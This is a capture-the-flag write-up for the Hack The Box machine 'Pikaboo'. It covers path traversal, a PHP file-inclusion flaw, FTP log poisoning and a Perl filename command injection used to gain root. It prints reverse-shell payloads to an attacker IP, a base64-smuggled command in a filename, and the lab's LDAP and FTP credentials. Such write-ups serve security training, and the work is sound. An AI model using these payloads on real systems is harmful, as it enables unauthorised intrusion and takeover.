Pikaboo
16 minutes to read
- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.10.249
- Release: 17 / 07 / 2021
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.249 -p 21,22,80
Nmap scan report for 10.10.10.249
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.16 seconds
This machine has ports 21 (FTP), 22 (SSH) and 80 (HTTP) open.
Enumeration
If we enter http://10.10.10.249
in the browser, we will see the following website:
We can also have a look at the “Pokatdex”:
There seems to be an administration panel, but we are not allowed to enter since we do not have credentials (when accessing /admin
, we are requested for credentials via HTTP Basic Authentication):
Using gobuster
, we can list some directories on the web server and see something weird:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -r -u http://10.10.10.249
/images (Status: 403) [Size: 274]
/admin (Status: 401) [Size: 456]
/administration (Status: 401) [Size: 456]
/administrator (Status: 401) [Size: 456]
/administr8 (Status: 401) [Size: 456]
/administrative (Status: 401) [Size: 456]
/administratie (Status: 401) [Size: 456]
/admins (Status: 401) [Size: 456]
/admin_images (Status: 401) [Size: 456]
/administrivia (Status: 401) [Size: 456]
/administrative-law (Status: 401) [Size: 456]
/administrators (Status: 401) [Size: 456]
/admin1 (Status: 401) [Size: 456]
/administer (Status: 401) [Size: 456]
/admin3_gtpointup (Status: 401) [Size: 456]
/admin_hp (Status: 401) [Size: 456]
/admin25 (Status: 401) [Size: 456]
/admin02 (Status: 401) [Size: 456]
/administrationinfo (Status: 401) [Size: 456]
/admin_thumb (Status: 401) [Size: 456]
/admin_full (Status: 401) [Size: 456]
/admin_functions (Status: 401) [Size: 456]
/admin2 (Status: 401) [Size: 456]
/adminhelp (Status: 401) [Size: 456]
/adminoffice (Status: 401) [Size: 456]
/administracja (Status: 401) [Size: 456]
As shown, it seems that the server is requesting for authentication when the URL starts with /admin
:
$ curl http://10.10.10.249/adminasdf
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>
Moreover, notice that the server response is from Apache/2.4.38 on port 81. The output of nmap
showed that the server on port 80 is nginx.
Foothold
The images that appear in the website are hosted in an nginx server, again looking at the error message:
Performing a Directory Path Traversal
There could be some misconfiguration between these web servers, and probably it is related to the /admin
route. Trying to fuzz looking for a Directory Path Traversal, we obtain the following:
$ ffuf -u 'http://10.10.10.249/admin../FUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
admin [Status: 401, Size: 456, Words: 42, Lines: 15, Duration: 62ms]
javascript [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 53ms]
[Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 187ms]
server-status [Status: 200, Size: 6784, Words: 283, Lines: 130, Duration: 126ms]
We see that we can perform a Directory Path Traversal. However, we are not allowed to enter at /admin../admin
because we do not have any credentials to use.
We can check if there are more directories whose name starts with admin
. For instance:
$ ffuf -u 'http://10.10.10.249/admin../adminFUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
[Status: 401, Size: 456, Words: 42, Lines: 15, Duration: 111ms]
$ ffuf -u 'http://10.10.10.249/admin../admin_FUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
staging [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 110ms]
And we get that there exists a directory called admin_staging
, and it is accessible.
Now we can enter http://10.10.10.249/admin../admin_staging/
bypassing the authentication requirements:
Finding an LFI
Inspecting the website, we see that the server is including PHP files using a GET parameter, as follows:
We can fuzz again with ffuf
to look for available files:
$ ffuf -u 'http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ.php' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -fw 3272
user [Status: 200, Size: 24978, Words: 7266, Lines: 578, Duration: 243ms]
info [Status: 200, Size: 86973, Words: 6716, Lines: 1170, Duration: 679ms]
index [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 331ms]
dashboard [Status: 200, Size: 40555, Words: 15297, Lines: 883, Duration: 154ms]
tables [Status: 200, Size: 29131, Words: 11707, Lines: 744, Duration: 79ms]
typography [Status: 200, Size: 24923, Words: 6989, Lines: 567, Duration: 177ms]
When retrieving these files, we notice that the code is being interpreted. This is a sign that we have a Local File Inclusion (LFI) vulnerability.
To actually read the source code of PHP files, we can make use of PHP wrappers (for instance, encode the content in Base64 and decode it afterwards). For example, we can try with admin_staging/index.php
:
If we take the huge Base64 string and decode it, we see a fragment of PHP code that shows how the file inclusion is being handled:
<?php
if (isset($_GET['page'])) {
include($_GET['page']);
} else {
include('dashboard.php');
}
?>
However, the server only allows to read specific files (apart from the PHP ones). This configuration can be retrieved from admin_staging/info.php
, which contains a phpinfo()
and shows that the files can only be included from /var/
.
FTP log poisoning
Taking into accoung that there is an FTP server, the idea is to do Log Poisoning using the FTP log. This log file (/var/log/vsftpd.log
) is readable:
This technique consists of inserting PHP code inside the log file, so that when being included in the website the PHP code is executed.
Looking at the FTP log file, we see that the username is being reflected, so that is the field where the PHP code must be in order to have Remote Code Execution (RCE).
Let’s use a system command to obtain a reverse shell from the machine (make sure to enter some characters for the password):
$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:rocky): <?php system("bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'"); ?>
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp> quit
221 Goodbye.
Now that the FTP log is poisoned, we can retrieve it using the LFI, so that the injected PHP code is executed. Using a nc
listener, we get access to the machine:
$ curl '10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:35480.
bash: cannot set terminal process group (657): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@pikaboo:/var/www/html/admin_staging$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@pikaboo:/var/www/html/admin_staging$ export TERM=xterm
www-data@pikaboo:/var/www/html/admin_staging$ export SHELL=bash
www-data@pikaboo:/var/www/html/admin_staging$ stty rows 50 columns 158
System enumeration
We can read the user.txt
flag as www-data
, although being inside the home directory of pwnmeow
:
www-data@pikaboo:/var/www/html/admin_staging$ ls -l /home
total 560
drwxr-xr-x 2 pwnmeow pwnmeow 569344 Jul 6 20:02 pwnmeow
www-data@pikaboo:/var/www/html/admin_staging$ ls -la /home/pwnmeow/
total 580
drwxr-xr-x 2 pwnmeow pwnmeow 569344 Jul 6 20:02 .
drwxr-xr-x 3 root root 4096 May 10 10:26 ..
lrwxrwxrwx 1 root root 9 Jul 6 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 pwnmeow pwnmeow 220 May 10 10:26 .bash_logout
-rw-r--r-- 1 pwnmeow pwnmeow 3526 May 10 10:26 .bashrc
-rw-r--r-- 1 pwnmeow pwnmeow 807 May 10 10:26 .profile
lrwxrwxrwx 1 root root 9 Jul 6 20:01 .python_history -> /dev/null
-r--r----- 1 pwnmeow www-data 33 Aug 29 22:20 user.txt
www-data@pikaboo:/var/www/html/admin_staging$ cat /home/pwnmeow/user.txt
f3417b113fe715a58e02f9e29fe6c736
Now we can enumerate open ports from inside the machine and discover that port 389 (LDAP) is open:
www-data@pikaboo:/var/www/html/admin_staging$ cd /
www-data@pikaboo:/$ for i in $(seq 1 65535); do timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i open"; done
Port 21 open
Port 22 open
Port 80 open
Port 81 open
Port 389 open
An easier way to enumerate internal open ports is using netstat
:
www-data@pikaboo:/$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:81 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:389 0.0.0.0:* LISTEN
tcp 1 0 127.0.0.1:81 127.0.0.1:49896 CLOSE_WAIT
tcp 0 0 10.10.10.249:53456 10.10.16.113:4444 ESTABLISHED
tcp 0 0 10.10.10.249:51604 10.10.15.128:4444 CLOSE_WAIT
tcp 0 138 10.10.10.249:60272 10.10.17.44:4444 ESTABLISHED
tcp 0 0 10.10.10.249:59558 10.10.14.29:1234 CLOSE_WAIT
tcp 0 0 10.10.10.249:33250 10.10.14.217:4242 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::21 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
We can see that there are some Python files at /opt/pokeapi
:
www-data@pikaboo:/$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 May 20 07:17 .
drwxr-xr-x 18 root root 4096 Jul 27 09:32 ..
drwxr-xr-x 10 root root 4096 Jul 6 18:58 pokeapi
www-data@pikaboo:/$ ls -la /opt/pokeapi/
total 104
drwxr-xr-x 10 root root 4096 Jul 6 18:58 .
drwxr-xr-x 3 root root 4096 May 20 07:17 ..
drwxr-xr-x 2 root root 4096 May 19 12:04 .circleci
-rw-r--r-- 1 root root 253 Jul 6 20:17 .dockerignore
drwxr-xr-x 9 root root 4096 May 19 12:04 .git
drwxr-xr-x 4 root root 4096 May 19 12:04 .github
-rwxr-xr-x 1 root root 135 Jul 6 20:16 .gitignore
-rw-r--r-- 1 root root 100 Jul 6 20:16 .gitmodules
-rw-r--r-- 1 root root 3224 Jul 6 20:17 CODE_OF_CONDUCT.md
-rw-r--r-- 1 root root 3857 Jul 6 20:17 CONTRIBUTING.md
-rwxr-xr-x 1 root root 184 Jul 6 20:17 CONTRIBUTORS.txt
-rw-r--r-- 1 root root 1621 Jul 6 20:16 LICENSE.md
-rwxr-xr-x 1 root root 3548 Jul 6 20:16 Makefile
-rwxr-xr-x 1 root root 7720 Jul 6 20:17 README.md
drwxr-xr-x 6 root root 4096 May 19 12:04 Resources
-rw-r--r-- 1 root root 0 Jul 6 20:16 __init__.py
-rw-r--r-- 1 root root 201 Jul 6 20:17 apollo.config.js
drwxr-xr-x 3 root root 4096 Jul 6 20:16 config
drwxr-xr-x 4 root root 4096 May 19 12:14 data
-rw-r--r-- 1 root root 1802 Jul 6 20:16 docker-compose.yml
drwxr-xr-x 4 root root 4096 May 19 12:04 graphql
-rw-r--r-- 1 root root 113 Jul 6 20:16 gunicorn.py.ini
-rwxr-xr-x 1 root root 249 Jul 6 20:16 manage.py
drwxr-xr-x 4 root root 4096 May 27 05:46 pokemon_v2
-rw-r--r-- 1 root root 375 Jul 6 20:16 requirements.txt
-rw-r--r-- 1 root root 86 Jul 6 20:16 test-requirements.txt
Inside the /opt/pokeapi/config
we find a settings.py
with credentials for LDAP:
www-data@pikaboo:/$ ls -la /opt/pokeapi/config/
total 28
-rwxr-xr-x 1 root root 0 Jul 6 20:17 __init__.py
drwxr-xr-x 2 root root 4096 Jul 6 16:10 __pycache__
-rw-r--r-- 1 root root 783 Jul 6 20:17 docker-compose.py
-rwxr-xr-x 1 root root 548 Jul 6 20:17 docker.py
-rwxr-xr-x 1 root root 314 Jul 6 20:17 local.py
-rwxr-xr-x 1 root root 3080 Jul 6 20:17 settings.py
-rwxr-xr-x 1 root root 181 Jul 6 20:17 urls.py
-rwxr-xr-x 1 root root 1408 Jul 6 20:17 wsgi.py
www-data@pikaboo:/$ cat /opt/pokeapi/config/settings.py
# ...
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
# ...
LDAP enumeration
After doing some research on LDAP and ldapsearch
(namely, here), we see some useful commands.
In ldapsearch
we must specify cn=binduser,ou=users,dc=pikaboo,dc=htb
as bind DN (Distinguished Name) and dc=pikaboo,dc=htb
as base DN to search:
www-data@pikaboo:/$ ldapsearch -xD 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 11
# numEntries: 10
We can see what permissions does pwnmeow
have over FTP. Let’s now add dc=ftp
to the base DN to obtain fewer results:
www-data@pikaboo:/$ ldapsearch -xD 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=ftp,dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=ftp,dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# ftp.10.10.10.249
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, ftp.10.10.10.249
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.10.10.10.249
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.10.10.10.249
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 4
Now, we are able to connect via FTP as pwnmeow
especifying the following password:
$ echo X0cwdFQ0X0M0dGNIXyczbV80bEwhXw== | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
$ touch file
$ ftp pwnmeow@10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Privilege escalation
After that, we can check that pwnmeow
is in the ftp
group and list files that belong to this group:
www-data@pikaboo:/$ cat /etc/group | grep pwnmeow
pwnmeow:x:1000:pwnmeow
ftp:x:115:pwnmeow
www-data@pikaboo:/$ find / -group ftp 2>/dev/null
/srv/ftp
/srv/ftp/growth_rate_prose
/srv/ftp/ability_changelog_prose
/srv/ftp/types
/srv/ftp/item_names
/srv/ftp/language_names
...
On the other hand, we can try to list Python scripts as follows:
www-data@pikaboo:/$ find / -name *.py 2>/dev/null | grep -vE 'python|share'
/usr/local/bin/django-admin.py
/opt/pokeapi/__init__.py
/opt/pokeapi/manage.py
/opt/pokeapi/data/__init__.py
/opt/pokeapi/data/v2/__init__.py
/opt/pokeapi/data/v2/build.py
/opt/pokeapi/config/wsgi.py
/opt/pokeapi/config/local.py
/opt/pokeapi/config/__init__.py
/opt/pokeapi/config/docker.py
/opt/pokeapi/config/settings.py
/opt/pokeapi/config/urls.py
/opt/pokeapi/config/docker-compose.py
/opt/pokeapi/pokemon_v2/__init__.py
/opt/pokeapi/pokemon_v2/migrations/0006_auto_20200725_2205.py
/opt/pokeapi/pokemon_v2/migrations/__init__.py
/opt/pokeapi/pokemon_v2/migrations/0001_squashed_0002_auto_20160301_1408.py
/opt/pokeapi/pokemon_v2/migrations/0009_pokemontypepast.py
/opt/pokeapi/pokemon_v2/migrations/0005_auto_20200709_1930.py
/opt/pokeapi/pokemon_v2/migrations/0002_itemsprites_pokemonformsprites_pokemonsprites.py
/opt/pokeapi/pokemon_v2/migrations/0007_auto_20200815_0610.py
/opt/pokeapi/pokemon_v2/migrations/0008_auto_20201123_2045.py
/opt/pokeapi/pokemon_v2/migrations/0004_iso639length_20191217.py
/opt/pokeapi/pokemon_v2/migrations/0003_auto_20160530_1132.py
/opt/pokeapi/pokemon_v2/migrations/0010_pokemonformtype.py
/opt/pokeapi/pokemon_v2/urls.py
/opt/pokeapi/pokemon_v2/test_models.py
/opt/pokeapi/pokemon_v2/serializers.py
/opt/pokeapi/pokemon_v2/models.py
/opt/pokeapi/pokemon_v2/tests.py
/opt/pokeapi/pokemon_v2/api.py
Finding a Cron job
There is a file called /usr/local/bin/django-admin.py
. In fact, inside this directory there is a Cron job:
www-data@pikaboo:/$ ls -l /usr/local/bin
total 44
drwxr-xr-x 2 root root 4096 Jul 6 18:57 __pycache__
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage-3.7
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage3
-rwxr--r-- 1 root root 6444 Jun 1 10:55 csvupdate
-rwxr--r-- 1 root root 116 Jun 1 09:40 csvupdate_cron
-rwxr-xr-x 1 root root 266 Jul 6 18:57 django-admin
-rwxr-xr-x 1 root root 125 Jul 6 18:57 django-admin.py
-rwxr-xr-x 1 root root 220 May 19 12:07 gunicorn
-rwxr-xr-x 1 root root 219 Jul 6 18:55 sqlformat
www-data@pikaboo:/tmp$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
This Cron job is executing csvupdate
, which is a Perl script:
www-data@pikaboo:/srv/ftp/abilities# cat /usr/local/bin/csvupdate
#!/usr/bin/perl
##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
# #
# Usage: #
# ./csvupdate <type> <file(s)> #
# #
# Arguments: #
# - type: PokeAPI CSV file type #
# (must have the correct number of fields) #
# - file(s): list of files containing CSV data #
##################################################################
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
'ability_changelog_prose' => 3,
'ability_flavor_text' => 4,
'ability_names' => 3,
'ability_prose' => 4,
# ...
'version_group_pokemon_move_methods' => 2,
'version_group_regions' => 2,
'version_groups' => 4,
'version_names' => 3,
'versions' => 3
);
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
Exploiting a command injection
This csvupdate_cron
script is vulnerable to command injection because it is using a wildcard on the CSV filename. To exploit this, the idea is to store a file with a malicious filename that contains a system command.
This malicious file must be stored inside a directory of /srv/ftp
:
www-data@pikaboo:/ ls -la /srv/ftp
total 712
drwxr-xr-x 176 root ftp 12288 May 20 2021 .
drwxr-xr-x 3 root root 4096 May 10 2021 ..
drwx-wx--- 2 root ftp 4096 Dec 4 14:20 abilities
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_changelog
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_changelog_prose
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_flavor_text
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_names
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_prose
...
drwx-wx--- 2 root ftp 4096 May 20 2021 version_group_pokemon_move_methods
drwx-wx--- 2 root ftp 4096 May 20 2021 version_group_regions
drwx-wx--- 2 root ftp 4096 May 20 2021 version_groups
drwx-wx--- 2 root ftp 4096 May 20 2021 version_names
drwx-wx--- 2 root ftp 4096 May 20 2021 versions
Let’s use the one called versions
, for example. Now, we can upload the malicious file with a special filename and get a reverse shell as root
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Now we must upload the file and name it remotely with the injected command:
$ touch file
$ ftp pwnmeow@10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx--- 2 ftp ftp 4096 May 20 2021 abilities
drwx-wx--- 2 ftp ftp 4096 May 20 2021 ability_changelog
...
drwx-wx--- 2 ftp ftp 4096 May 20 2021 version_names
drwx-wx--- 2 ftp ftp 4096 Jul 06 2021 versions
226 Directory send OK.
ftp> cd versions
250 Directory successfully changed.
ftp> put
(local-file) file
(remote-file) "|echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash|.csv"
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
As shown, the malicious filename is crafted so that the command executed by the Cron job is:
/usr/local/bin/csvupdate $(basename $d) |echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash|.csv
The use of the pipes (|
) was the only way found to execute the command properly. Before, semicolons and OR statements were tried, but none of them worked.
And the reason why this kind of command injection worked is because of some Perl weird behavior (it is called: Perl open argument injection, more information here).
Finally, we get access as root
and read the root.txt
flag:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:43712.
bash: cannot set terminal process group (15008): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/versions# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@pikaboo:/srv/ftp/versions# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@pikaboo:/srv/ftp/versions# export TERM=xterm
root@pikaboo:/srv/ftp/versions# export SHELL=bash
root@pikaboo:/srv/ftp/versions# stty rows 50 columns 158
root@pikaboo:/srv/ftp/versions# cat /root/root.txt
3904cd5b02fd88be5264107d52282460
In addition, all the steps to compromise the machine were written into a Python script called autopwn.py
(detailed explanation here):
$ python3 autopwn.py 10.10.17.44
[*] FTP log (/var/log/vsftpd.log) has been poisoned
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.249 on port 33048
[*] Found user: pwnmeow
[!] Found user.txt: f3417b113fe715a58e02f9e29fe6c736
[*] Found LDAP user: cn=binduser,ou=users,dc=pikaboo,dc=htb
[*] Found LDAP password: J~42%W?PFHl]g
[*] Found FTP password: _G0tT4_C4tcH_'3m_4lL!_
[*] Stored malicious file with injected command in filename
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.249 on port 37974
[!] Found root.txt: 3904cd5b02fd88be5264107d52282460
[+] Got shell as root
[*] Switching to interactive mode
root@pikaboo:/srv/ftp/abilities#